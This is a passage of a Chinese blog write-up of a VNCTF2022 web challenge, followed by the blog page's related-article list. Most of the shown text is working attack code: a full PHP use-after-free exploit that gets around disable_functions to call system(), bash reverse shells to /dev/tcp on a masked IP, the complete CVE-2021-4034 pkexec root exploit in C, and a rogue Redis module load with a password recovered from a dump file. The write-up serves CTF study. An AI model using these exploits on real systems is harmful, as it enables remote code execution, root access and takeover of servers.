        } while($this->read($ret_gadget, 1) !== 0xC3);
        $this->log("ret gadget = 0x%x", $ret_gadget);
        $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
        $this->write(8, $ret_gadget);
    }

    private function read($addr, $n = 8) {
        $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
        $value = strlen($this->helper->c);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }

    private function write($p, $v, $n = 8) {
        for($i = 0; $i < $n; $i++) {
            $this->abc[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    $this->log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }

    private function cleanup() {
        $this->hfp = fopen('php://memory', 'w');
        fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
        for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
            fwrite($this->hfp, "\x00");
        }
    }

    private function str2ptr($p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($this->abc[$p + $j]);
        }
        return $address;
    }

    private function ptr2str($ptr, $n = 8) {
        $out = '';
        for ($i = 0; $i < $n; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    private function log($format, $val = '') {
        if(LOGGING) {
            printf("{$format}\n", $val);
        }
    }

    static function alloc($size) {
        return str_shuffle(str_repeat('A', $size));
    }
}
?>
'''
for i in filter:
    # print(i)
    if i in payload:
        print(i)
        continue

image-20220406165101003

fwrite可以用fputs代替

最后payload

pwn('whoami');

function pwn($cmd) {
    define('LOGGING', false);
    define('CHUNK_DATA_SIZE', 0x60);
    define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
    define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
    define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
    define('CMD', $camd);
    for($i = 0; $i < 10; $i++) {
        $groom[] = Pwn::alloc(STRING_SIZE);
    }
    stream_filter_register('pwn_filter', 'Pwn');
    $fd = fopen('php://memory', 'w');
    stream_filter_append($fd,'pwn_filter');
    fputs($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
    private $abc, $abc_addr;
    private $helper, $helper_addr, $helper_off;
    private $uafp, $hfp;

    public function filter($in, $out, &$consumed, $closing) {
        if($closing) return;
        stream_bucket_make_writeable($in);
        $this->filtername = Pwn::alloc(STRING_SIZE);
        fclose($this->stream);
        $this->go();
        return PSFS_PASS_ON;
    }

    private function go() {
        $this->abc = &$this->filtername;

        $this->make_uaf_obj();

        $this->helper = new Helper;
        $this->helper->b = function($x) {};

        $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
        $this->log("helper @ 0x%x", $this->helper_addr);

        $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
        $this->log("abc @ 0x%x", $this->abc_addr);

        $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

        $helper_handlers = $this->str2ptr(CHUNK_SIZE);
        $this->log("helper handlers @ 0x%x", $helper_handlers);

        $this->prepare_leaker();

        $binary_leak = $this->read($helper_handlers + 8);
        $this->log("binary leak @ 0x%x", $binary_leak);
        $this->prepare_cleanup($binary_leak);

        $closure_addr = $this->str2ptr($this->helper_off + 0x38);
        $this->log("real closure @ 0x%x", $closure_addr);

        $closure_ce = $this->read($closure_addr + 0x10);
        $this->log("closure class_entry @ 0x%x", $closure_ce);

        $basic_funcs = $this->get_basic_funcs($closure_ce);
        $this->log("basic_functions @ 0x%x", $basic_funcs);

        $zif_system = $this->get_system($basic_funcs);
        $this->log("zif_system @ 0x%x", $zif_system);

        $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->write($fake_closure_off + 0x38, 1, 4);

        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->write($fake_closure_off + $handler_offset, $zif_system);

        $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
        $this->write($this->helper_off + 0x38, $fake_closure_addr);
        $this->log("fake closure @ 0x%x", $fake_closure_addr);

        $this->cleanup();
        ($this->helper->b)(CMD);
    }

    private function make_uaf_obj() {
        $this->uafp = fopen('php://memory', 'w');
        fputs($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
        for($i = 0; $i < STRING_SIZE; $i++) {
            fputs($this->uafp, "\x00");
        }
    }

    private function prepare_leaker() {
        $str_off = $this->helper_off + CHUNK_SIZE + 8;
        $this->write($str_off, 2);
        $this->write($str_off + 0x10, 6);

        $val_off = $this->helper_off + 0x48;
        $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
        $this->write($val_off + 8, 0xA);
    }

    private function prepare_cleanup($binary_leak) {
        $ret_gadget = $binary_leak;
        do {
            --$ret_gadget;
        } while($this->read($ret_gadget, 1) !== 0xC3);
        $this->log("ret gadget = 0x%x", $ret_gadget);
        $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
        $this->write(8, $ret_gadget);
    }

    private function read($addr, $n = 8) {
        $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
        $value = strlen($this->helper->c);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }

    private function write($p, $v, $n = 8) {
        for($i = 0; $i < $n; $i++) {
            $this->abc[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    $this->log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }

    private function cleanup() {
        $this->hfp = fopen('php://memory', 'w');
        fputs($this->hfp, pack('QQ', 0, $this->abc_addr));
        for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
            fputs($this->hfp, "\x00");
        }
    }

    private function str2ptr($p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($this->abc[$p + $j]);
        }
        return $address;
    }

    private function ptr2str($ptr, $n = 8) {
        $out = '';
        for ($i = 0; $i < $n; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    private function log($format, $val = '') {
        if(LOGGING) {
            printf("{$format}\n", $val);
        }
    }

    static function alloc($size) {
        return str_shuffle(str_repeat('A', $size));
    }
}

image-20220406182053349

image-20220406182318904

反弹shellpayload

pwn("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1'");

image-20220406182418365

发现权限不够,可以用pkexec提权

https://github.com/arthepsy/CVE-2021-4034

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

void fatal(char *f) {
    perror(f);
    exit(-1);
}

void compile_so() {
    FILE *f = fopen("payload.c", "wb");
    if (f == NULL) {
        fatal("fopen");
    }

    char so_code[]=
        "#include <stdio.h>\n"
        "#include <stdlib.h>\n"
        "#include <unistd.h>\n"
        "void gconv() {\n"
        "  return;\n"
        "}\n"
        "void gconv_init() {\n"
        "  setuid(0); seteuid(0); setgid(0); setegid(0);\n"
        "  static char *a_argv[] = { \"sh\", NULL };\n"
        "  static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
        "  execve(\"/bin/sh\", a_argv, a_envp);\n"
        "  exit(0);\n"
        "}\n";

    fwrite(so_code, strlen(so_code), 1, f);
    fclose(f);

    system("gcc -o payload.so -shared -fPIC payload.c");
}

int main(int argc, char *argv[]) {
    struct stat st;
    char *a_argv[]={ NULL };
    char *a_envp[]={
        "lol",
        "PATH=GCONV_PATH=.",
        "LC_MESSAGES=en_US.UTF-8",
        "XAUTHORITY=../LOL",
        "GIO_USE_VFS=",
        NULL
    };

    printf("[~] compile helper..\n");
    compile_so();

    if (stat("GCONV_PATH=.", &st) < 0) {
        if(mkdir("GCONV_PATH=.", 0777) < 0) {
            fatal("mkdir");
        }
        int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777); 
        if (fd < 0) {
            fatal("open");
        }
        close(fd);
    }

    if (stat("lol", &st) < 0) {
        if(mkdir("lol", 0777) < 0) {
            fatal("mkdir");
        }
        FILE *fp = fopen("lol/gconv-modules", "wb");
        if(fp == NULL) {
            fatal("fopen");
        }
        fprintf(fp, "module  UTF-8//    INTERNAL    ../payload    2\n");
        fclose(fp);
    }
    printf("[~] maybe get shell now?\n");
    execve("/usr/bin/pkexec", a_argv, a_envp);
}

image-20220406184528164

exp我是直接通过nc开的服务下的,当然也可以直接用file_put_contents函数上传

nc -lvnp 2333 > exp.c

解法二

通过redis加载恶意.so文件

REDIS0008�	redis-ver4.0.9�
redis-bits�@�ctime³��a�used-mem€� �aof-preamble� � �  sercetye_w4nt_a_gir1fri3nd��nR�K��S

以上为secret.rdb的内容
猜测密码
ye_w4nt_a_gir1fri3nd

然后发现

redis端口不是默认的6379,需要我们自己去扫描,可以用如下脚本扫描

<?php
highlight_file(__FILE__);
for($i=0;$i<65535;$i++) {
  $t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
  if($ee2 === "Address already in use") {
    var_dump($i);
  }
}

base64编码一下,然后用file_put_contents上传

url?exp=file_put_contents('port.php',base64_decode($_POST[p]));
  p=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwpmb3IoJGk9MDskaTw2NTUzNTskaSsrKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaWYoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9

image-20220406190130453

可以看到除了80端口还有一个8888端口,那肯定就是了,所以我们就要想办法连接redis

这时候本来想着用蚁剑上的redis插件去连接的,但是看了wp,发现蚁剑插件与redis交互是用的stream_get_contents(),但是这个函数被禁用了,所以我们就只能寻找其他可以与redis的函数

使用get_loaded_extensions()查看所有加载的拓展,看其中有没有能够与redis进行交互的

?exp=var_dump(get_loaded_extensions());
array(34) {
  string(4) "Core
  string(4) "date"
  string(6) "libxml"
  string(7) "openssl"
  string(4) "pcre"
  string(7) "sqlite3"
  string(4) "zlib"
  string(5) "ctype"
  string(4) "curl"
  string(3) "dom"
  string(8) "fileinfo"
  string(6) "filter"
  string(3) "ftp"
  string(4) "hash"
  string(5) "iconv"
  string(4) "json"
  string(8) "mbstring"
  string(3) "SPL"
  string(3) "PDO"
  string(7) "session"
  string(5) "posix"
  string(10) "Reflection"
  string(8) "standard"
  string(9) "SimpleXML"
  string(10) "pdo_sqlite"
  string(4) "Phar"
  string(9) "tokenizer"
  string(3) "xml"
  string(9) "xmlreader"
  string(9) "xmlwriter"
  string(7) "mysqlnd"
  string(14) "apache2handler"
  string(5) "redis" <<<<<<<<<<
  string(6) "sodium"
}

可以看到这里有个redis拓展,很明显我们可以利用它,查阅一下使用文档

https://blog.youkuaiyun.com/raoxiaoya/article/details/100515541

https://learnku.com/articles/32113

可以看看这两篇文章,一篇讲拓展的基础使用,一篇文章讲述php-redis执行原生的redis指令

image-20220406192403794

现在就是写个php脚本去加载恶意so文件了

$redis = new Redis();
$redis->connect('127.0.0.1',8888);
$redis->auth('ye_w4nt_a_gir1fri3nd');
$redis->rawCommand('module','load','/var/www/html/exp.so');
$redis->rawCommand("system.exec","bash -c 'exec bash -i &>/dev/tcp/xxxxxxxxx/2333 <&1'");

然后就是通过file_put_contents上传恶意so文件了

https://github.com/n0b0dyCN/redis-rogue-server

image-20220406193815972

git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-server/
cat exp.so|base64

image-20220406194032050

然后用rawCommand执行redis命令

image-20220406195518471

成功连上,这里有个坑,就是post传参的时候记得要把它进行url编码一下,避免其中的特殊字符如=或者+等的影响

image-20220406195411052

?exp=file_put_contents('1.php',base64_decode($_POST[p]));
<?php
highlight_file(__FILE__); $redis = new Redis(); $redis->connect('127.0.0.1',8888); $redis->auth('ye_w4nt_a_gir1fri3nd'); $redis->rawCommand('module','load','/var/www/html/exp.so'); $redis->rawCommand("system.exec","bash -c 'exec bash -i &>/dev/tcp/xxxxxxxx/2333 <&1'");

后面的解法就跟前面一样了,使用pkexec提权

[VNCTF2022]部分wp VNCTF2022 阅读详情

相关推荐

VNCTF2023实战复盘:从Web渗透到内存取证的完整攻防链条解析

Web渗透与内存取证是网络安全领域的两个核心实践方向。Web渗透主要涉及对Web应用漏洞的发现与利用,其原理是通过自动化扫描、手动测试等方式,识别如文件上传、SQL注入等安全弱点,从而获取系统初始访问权限。内存取证则是在获得系统访问权限后,对易失性内存数据进行提取与分析,以发现进程、网络连接、敏感数据等关键痕迹,其技术价值在于能够恢复已被删除或加密的信息,还原攻击现场。这两个技术常结合应用于CTF竞赛、红蓝对抗和应急响应等场景,用以模拟完整的攻击链或进行事件溯源。本文以一次CTF实战为例,详细拆解了如何利用

weixin_30562507的博客 340

VNCTF 2023 部分wp

今年逆向题目比较多,还挺顺手的,其他题目还算不难,除了babyAnti这题就AK逆向了。这题用的flutter库,研究了好久也完全找不到思路,只好放弃。后来才知道根据题目的名字,预期解就是去掉反作弊的检查,用作弊方法完成的。

sln_1550的博客 2894

告别视频广告:OpenWrt下luci-app-adbyby plus/lite的完整配置与避坑手册

本文详细介绍了在OpenWrt路由器上配置Adbyby Plus/Lite广告屏蔽工具的完整流程与优化方案。从环境准备、规则文件手动配置到高级性能调优,帮助用户有效拦截视频前贴片广告和弹窗广告,提升家庭网络浏览体验。特别针对官方源停止维护的问题,提供了实用的规则更新解决方案。

weixin_29306011的博客 743

Web安全和渗透测试有什么关系?

做渗透测试的一个环节就是测试web安全,需要明白漏洞产生原理,通过信息收集互联网暴露面,进行漏洞扫描,漏洞利用,必要时进行脚本自编写和手工测试,力求挖出目标存在的漏洞并提出整改建议,当然如果技术再精一些,还要学习内网渗透(工作组和域环境),白盒审计,app,小程序渗透那些了......可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。总之,web安全包含于渗透测试,但不是渗透测试的全部。

Python_0011的博客 4863

R语言安装包镜像报错?5分钟教你快速切换国内镜像源(含清华/阿里云配置)

本文详细介绍了R语言安装包镜像报错的解决方案,包括如何快速切换国内镜像源(如清华、阿里云等),解决'无法读写貯藏處索引'等常见问题。通过图形界面和命令行两种方式,帮助用户高效配置镜像源,提升R语言包安装速度与稳定性。

weixin_29053073的博客 419

WslRegisterDistribution failed with error_ 0x8007019e、0x800701bc、0x80370102

Ubuntu 20.04.4 LTS 报错解决方案。分别涉及到三个错误:WslRegisterDistribution failed with error: 0x8007019e、WslRegisterDistribution failed with error: 0x800701bc和WslRegisterDistribution failed with error: 0x80370102

一起加油~ 5万+

VNctf2022 web

VNctf2022 [InterestingPHP]复现 发现 phpinfo() 被ban,但是依旧可以通过 ini_get_all() 来读取php相关的配置信息,包括 disable_functions/disable_class/open_basedir 等信息都是⽐较重要的。 var_dump(get_cfg_var(%27disable_functions%27)); //这个在本题目不可用 exp=print_r(ini_get_all()); 使⽤ scandir() 来探测⽬录⽂件发现存

qq_50589021的博客 4146

SFR算法实现详解:从边缘检测到MTF计算的完整流程

本文详细解析了SFR算法从边缘检测到MTF计算的完整流程,包括边缘检测、ESF超采样、LSF差分等关键步骤。通过代码示例和实战经验,帮助开发者高效实现成像系统解析力评估,优化MTF测量精度。适用于摄像头模组调试、工业检测等场景。

Black的专栏 1009

[VNCTF 2021]realezjvav 复现

前言 这次VNCTF的题目还是挺难的,web唯一一道php直接把我按着锤,只会php的我居然第一时间先去复现这道java(笑) 复现 跟着ha1师傅的WP走一遍,中间自己还好没有出什么太大的问题,虽然不会java,但是也拿SpringBoot写过一点点东西,对于“大名鼎鼎”的fastjson也是有所耳闻。 进入环境,f12看一下源码,可以看到注释里写的:both username and password are right , then you can enter the next level。再根据h

feng的博客 1604

知识图谱本体建模之RDF、RDFS、OWL详解

(一)知识图谱本体建模之RDF、RDFS、OWL详解 1.语义网体系 知识图谱于2012年由Google提出,并不是新概念,而是由语义网络(Semantic Network)衍生而来。语义网络由相互连接的节点和边组成,节点表示概念或者对象,边表示他们之间的关系。RDF,RDFS与OWL都是基于语义网的知识表示框架,在节点和边的取值上做了约束,制定了统一标准,为多源数据的融合提供了便利。RDF,RDFS/OWL 属于语义网技术栈,它们的提出,使得语义网克服了语义网络的缺点。其语义网技术栈如下所示。 2.RD

周周的专栏 1万+

anaconda navigator 卡在loading application界面一直没有反应解决办法

在打开anaconda navigator 程序的时候,遇到了2个问题。第一个问题:打开的时候弹出提示:There is an instance of Anaconda Navigator already running.第二个问题:程序一直卡在loading application界面一直没有反应。以下是我的解决办法,有效果。

猿小白的博客 4386

VNCTF2021 部分题目复现

VNCTF2021Web[VNCTF 2021]Ez_gameMisc冰冰好像藏着秘密interesting_fishing Web [VNCTF 2021]Ez_game 很魔性的一个小游戏,查看源码看到三个js文件,主要审game.js 我的想法是在控制台执行代码,改人物的参数,暴力通关 看到如下代码,很明显是人物的初始数值,从上到下分别对应血量、血量上限、小回旋镖数量、大回旋镖数量、金币数量 在控制台小改一波,然后快乐玩耍 之后看到mumuzi师傅(套神)提供了一种更快捷的思路,发现判定玩家胜利

volcano的博客 3158

【Oracle】Oracle rman工具使用(真的细)

Oracle RMAN(Recovery Manager)是Oracle数据库备份和恢复的官方工具,它提供的备份和恢复功能非常强大和可靠。RMAN可以备份整个数据库或特定表空间、数据文件、控制文件和归档日志,同时还可以进行增量备份和增量恢复。RMAN还提供了诸如备份验证、备份优化、备份复制、备份集管理、恢复操作、自动备份、自动恢复等高级功能。它使用的备份和恢复格式是Oracle通用的备份集(Backup Set),这使得备份和恢复非常灵活和高效。

tttzzzqqq2018的博客 8504

VNCTF2022 [WEB]

GameV4.0 flag在data.js源码中 base64解码即可 gocalc0 随便发点payload测试下发现返回的session解码就有flag了 预期解:https://blog.csdn.net/cosmoslin/article/details/122930836 newcalc0 使得Object.prototype这条件达成即可获取flag 猜测原型链污染 这里还有console.log 使用cve-2022-21824 console.table([{x:1}], ["__pr

weixin_43610673的博客 1100

【硬件】LT3763中文手册

1)精确控制输入和输出电流;2) 3000:1真彩色PWM™调光;3) ±1.5%电压调节精度;4) ±6%电流调节精度;5)6V至60 V输入电压范围;6)宽输出范围最高可达55V;7)<2µA关断电流;8)用于负载电流热控制的控制引脚;9)输入和输出电流监控和限制;10)开路、短路和C/10故障检测;11)适用于LED应用的PWM驱动器输出;12)热增强型28引脚FE封装。

qq_39200110的博客 489

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

vnctf2021 web复现

vnctf2021 web复现Ez_game 由于本人是个大菜鸡,比赛就签了个到,尝试来复现一下,对应题目在buu上[传送门] Ez_game 解法一:在控制台中输入 winTimer["endTime"]=99 解法二: 发现game.js中有这部分可疑字符串 是sojson.v4加密,在线解密传送门 可以在线解密也可以直接在控制台里边跑 flag flag{this_game_is_funny!} 想玩出来的话,我记得flag好像是在第10关,可以直接修改cookie进入第10关,我t

weixin_50597969的博客 644

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

vnctf easy_java

前段时间小编参加了vnctf并怀疑人生了 (因为我不会java),但我在比赛复现后询问了大佬,再次审计代码,这两天捋顺了思路,这里写下我的解题过程进入页面,是这么一个页面 zh

weixin_53747083的博客 4481

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

VNCTF 2024 Web方向 WP

VNCTF 2024 Web方向 WP 没做多少,菜菜呜呜

Jay17的博客 3802

VNCTF2023部分Web题目复现

VNCTF2023部分Web题目复现

更多知识欢迎访问我的博客园:https://www.cnblogs.com/2ha0yuk7on/ 503

vnctf2022复现

eazyjava file协议读url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes 有用的class //HelloWorldServlet.class package servlet; import entity.User; import java.io.IOException; import java.util.Base64; import java.util.Base64.Decoder; import javax.servlet.

Biodog的博客 643

[VNCTF 2022] easyjava

提示传参随便传个参数后,发现是Tomcat框架的直接读文件 web.xml没啥信息 后来发现有个classes目录 file协议读取文件即可(JDK 9之前,也可以用协议),读取后进行反编译,最开始用的jd-gui,结果有一个地方反编译有点小差错还是用在线工具吧。JAVA反向工程网 (javare.cn)反编译好后先看下的doGet函数 这里的方法就是检测传入的参数值是不是vnctf2022 所以这里如果想得到key就需要name传参vnctf2022,但传参后又会执行if中的语句,if和else中的语句相

Sentiment的博客 2289

VNCTF2021[WEB]

文章目录前言Ez_gamenaiverealezjvavEasy_laravel 前言 这次比赛题目质量很好,本菜鸡做出了两道web题目,还是比较开心,只是赛后复现laravel一天半也没有成功,我好自闭啊 Ez_game 在game.js里面发现,直接放到console里面跑,得到flag ["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['sojson.v4']+[])["\x63\x6f\x6

Y4tacker的博客 4270

[VNCTF2022]easyj4va

vnctf easyjava复现

snowlyzz的博客 1625

2024VNCTF Web

这题是给了源代码的$key$value代码分析一下,handleFileUpload函数是用来上传文件,并且是将文件上传到tmp目录里$key$value关键的代码还是在这里,进入if判断以后,执行waf函数waf函数主要是对value进行了过滤,后面的key并没有任何的过滤而putenv函数是将键与值添加到环境变量里,这里就会引发一个环境变量注入漏洞而这一块的代码,是说我们要传入guess值等于$func变量(这里是一个create_function创建的匿名函数)这一块我们要先调试一下。

weixin_45906533的博客 1621
上一篇: [NISACTF 2022]WriteUp web篇
下一篇: [DASCTF2022]三月月赛WriteUp Web部分全复现
Pysnow
博客等级 码龄5年 44粉丝 25原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pysnow

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值